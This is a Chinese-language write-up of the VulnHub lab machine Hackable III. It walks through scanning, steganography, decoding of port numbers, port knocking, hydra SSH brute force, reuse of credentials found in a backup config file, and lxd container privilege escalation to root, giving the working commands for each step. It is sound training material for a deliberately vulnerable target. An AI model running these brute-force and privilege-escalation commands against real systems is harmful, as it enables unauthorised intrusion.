靶机渗透练习16-Hackable III
靶机描述
靶机地址:https://www.vulnhub.com/entry/hackable-iii,720/
Description
Focus on general concepts about CTF
Difficulty: Medium
This works better with VirtualBox rather than VMware.
一、搭建靶机环境
攻击机Kali
:
IP地址:192.168.9.7
靶机
:
IP地址:192.168.9.8
注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)
该靶机环境搭建如下
- 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
- 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only
二、实战
2.1网络扫描
2.1.1 启动靶机和Kali后进行扫描
方法一、arp-scan -I eth0 -l (指定网卡扫)
arp-scan -I eth0 -l
忘截图了,这里扫出来的ip为192.168.9.8
方法二、masscan 扫描的网段 -p 扫描端口号
masscan 192.168.184.0/24 -p 80,22
方法三、netdiscover -i 网卡-r 网段
netdiscover -i eth0 -r 192.168.184.0/24
方法四、等你们补充
2.1.2 查看靶机开放的端口
使用nmap -A -sV -T4 -p- 靶机ip
查看靶机开放的端口
22端口的状态时 filtered (被过滤的,不能确定是否开放)
开放了80端口
2.1.3 尝试访问靶机网页
2.2枚举漏洞
2.1.1 80 端口分析
访问 80 端口
查看页面源代码
发现登陆页面,还有一串注释内容为
<!-- "Please, jubiscleudo, don't forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com" -->
根据翻译来看,用户名可能是:jubiscleudo
,需要激活一个端口(22 号),看起来和一个.jpg 文件有关
端口敲门(端口碰撞)技术是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打
开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以
允许发送连接请求的主机通过特定端口进行连接。
也就是说,攻击者可能通过端口扫面来利用一些端口服务来发动攻击,但是一些固定的端口
又需要开放来满足远程维护需求,因此,我们可以使用端口碰撞技术来形成一个访问控制。
我们需要去碰撞一个特定的端口序列,才能够打开我们想要访问的端口。
输入任意用户名和密码,点击“Login”,连续试了几个账户密码,均跳转到login.php
右键查看源代码得到
<?php
include('config.php');
$usuario = $_POST['user'];
$senha = $_POST['pass'];
$query = " SELECT * FROM usuarios WHERE user = '{$usuario}' and pass = '{$senha}'";
$result = mysqli_query($conexao, $query);
$row = mysqli_num_rows($result);
#validação conta
if($row == 1) {
$_SESSION['usuario'] = $usuario;
header('Location: 3.jpg'); //重定向到3.jpg
exit();
} else {
$_SESSION['nao_autenticado'] = true;
header('Location: login_page/login.html');
exit();
}
?>
根据代码内容,我们访问一下http://192.168.9.8/3.jpg
下载该图片
尝试使用 exiftool
工具解析图片,没有发现异常,似乎就是个普通的图片
安装命令:apt install libimage-exiftool-perl
尝试隐写工具steghide
查看图片,看看有没有信息
里边貌似藏着一个txt文件
释放图片中的隐写内容:steghide extract -sf 3.jpg
发现一个端口信息:65535
目录扫描:dirb http://192.168.9.8/
可以发现一些目录:
http://192.168.9.8/backup/
http://192.168.9.8/config/
http://192.168.9.8/css/
http://192.168.9.8/imagens/
http://192.168.9.8/robots.txt
查看 URL:http://192.168.9.8/backup/
这不是一个字典嘛,将文件另保存到本地
查看 URL:http://192.168.9.8/config/
这应该是个base加密的字符串MTAwMDA=
,解密后得到10000
,看起来像一个端口
查看 URL:http://192.168.9.8/css/
里边有两个文件内容分别是
2.txt
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>------------------....
尝试识别算法:https://www.dcode.fr/cipher-identifier
解密后得到4444
,看起来像一个端口
file.css
/*
html {
position:fixed;
width:100%;
height:100%;
}
*/
body {
background-image: url("../imagens/background2.jpg");
background-repeat: no-repeat;
background-size: cover;
background-attachment: fixed;
}
#menu ul li { display: inline; }
/* MENU */
/* resetando a fonte */
body{
font-family: 'RocknRoll One', sans-serif;
}
/* estilizando a div orverlay */
.overlay {
height: 100vh; /* deixando o overlay 100% na vertical */
width: 0;
position: fixed;
top: 0;
left: 0;
background-color: rgba(0,0,0,.6);
opacity: 0; /*iniciando opacidade em 0 */
transition: opacity 1s;
}
/* estilizando o botão abrir menu */
.menu-open{
background: transparent;
}
/* estilizando o botão fechar menu */
.menu a.menu-close {
padding: -10px 0 10px 20px;
color: white;
display: block;
margin: -10px 0 30px -20px;
font-size: 50px;
text-decoration: none;
}
/* estilizando o menu em si */
.menu {
overflow: hidden;
background: rgba(0,0,0,.95);
padding: 10px 0 0 40px;
position: fixed;
top: 0;
right: -290px; /*iniciando o menu com menos 290px para fora do browser*/
height: 100%;
z-index: 2;
transition: 1s;
width: 250px;
}
/* estilizando o menu + ul */
.menu ul{
list-style: none;
padding: 0;
margin: -25px;
overflow-y: auto;
width: 500px;
height: 95%;
}
/* estilizando o menu + ul li + a */
.menu ul li a {
display: block;
border-bottom: 0 #131313;
padding: 6px 4px 6px 4px;
color:white;
transition: 1s;
text-decoration: none;
}
没啥东西
查看URL:http://192.168.9.8/imagens/
查看URL:http://192.168.9.8/robots.txt
看完了总结一下端口信息:4444
10000
65535
在kali中执行如下命令:
1) 使用4444
10000
65535
队列号敲门登录:
nmap -p 4444 192.168.9.8
nmap -p 10000 192.168.9.8
nmap -p 65535 192.168.9.8
因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 4444 10000 65535;do nmap -p $x 192.168.9.8;done
失败,,,应该是我敲门顺序出错了
经过多次尝试,得到敲门顺序为10000 4444 65535
for x in 10000 4444 65535;do nmap -p $x 192.168.9.8;done
扩展
这里搞一个新工具knock
玩玩(重新导入靶机)
使用 knock 工具尝试端口敲门,下载后,运行以下命令进行安装
└─$ tar -zxvf knock-once-1.2.tar.gz
└─$ cd knock-once-1.2
☁ knock-once-1.2 install -D -m755 knock-once /usr/bin/knock-once
☁ knock-once-1.2 install -D -m644 knock-once.1.gz /usr/share/man/man1/knock-once.1.gz
knock
命令参数:knock IP PORT1 PORT2 PORT3...
利用上述得到的三个端口吗,进行敲门:knock 192.168.9.8 10000 4444 65535
2.3漏洞利用
2.3.1 使用 hydra 对 SSH 暴力破解 getshell
前面获取到的用户名:jubiscleudo
字典文件:wordlist.txt
hydra -l jubiscleudo -P wordlist.txt ssh://192.168.9.8
破解成功:jubiscleudo/onlymy
登陆 ssh:ssh jubiscleudo@192.168.9.8
2.3.2 信息收集获取 shell
查看 home 目录,有两个用户,hackable_3
没有权限
jubiscleudo
目录下发现 flag
查看网站根目录:发现一个隐藏的备份配置文件
查看内容
jubiscleudo@ubuntu20:/var/www/html$ cat .backup_config.php
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'hackable_3');
define('DB_PASSWORD', 'TrOLLED_3');
define('DB_NAME', 'hackable');
/* Attempt to connect to MySQL database */
$conexao = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($conexao === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
} else {
}
?>
貌似看到了DB账户密码hackable_3/TrOLLED_3
而这个hackable_3
与 Home 下的一个用户名一致,尝试切换 shell:su hackable_3
成功切换
2.4权限提升
执行命令:id
hackable_3@ubuntu20:/var/www/html$ id
uid=1000(hackable_3) gid=1000(hackable_3) groups=1000(hackable_3),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
可以看到在一个组中 lxd(lxd 和 docker 一样,是一种容器)
lxd 提权原理是下载一个镜像,使用镜像创建容器,将容器目录直接映射到物理主机目录,即可在容器中直接访问物理主机的文件
查看当前系统中的镜像:lxc image list
提权命令:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
使用链接中的第二种方法:
终端输入cd /tmp
git clone https://github.com/saghul/lxd-alpine-builder/
这个直接clone会因为网络原因无法clone,我们换个方法搞到靶机里边去,这里我们先本地下载好,然后通过python建服务传
☁ html python -m SimpleHTTPServer 8888
Serving HTTP on 0.0.0.0 port 8888 ...
192.168.9.8 - - [12/Jan/2022 18:04:55] "GET /lxd-alpine-builder-master.zip HTTP/1.1" 200 -
解压zip,发现没unzip
命令,咱们换成tar压缩包
解压tar文件,得到
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
lxc image import ./alpine*.tar.gz --alias myimage
lxd init
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
按步骤执行命令即可,只需注入 lxd init 命令第一个需要输入 yes 即可
全部操作完,就会进入一个 root 命令行,其实是容器的,我们创建的容器映射了真实系统
的/root 目录
成功提权,访问/mnt/root/root ,获取 flag 成功
总结
本节使用的工具和漏洞难度中等,有点 CTF 的感觉,适合打过 CTF 的童鞋
- 信息收集(查看源码,目录扫描)
- 算法解密(bash64,Brainfuck)
- 端口敲门技术(nmap,knock 的使用)
- hydra 暴力破解 SSH
- 信息收集获取密码
- lxd 提权(容器提权思路)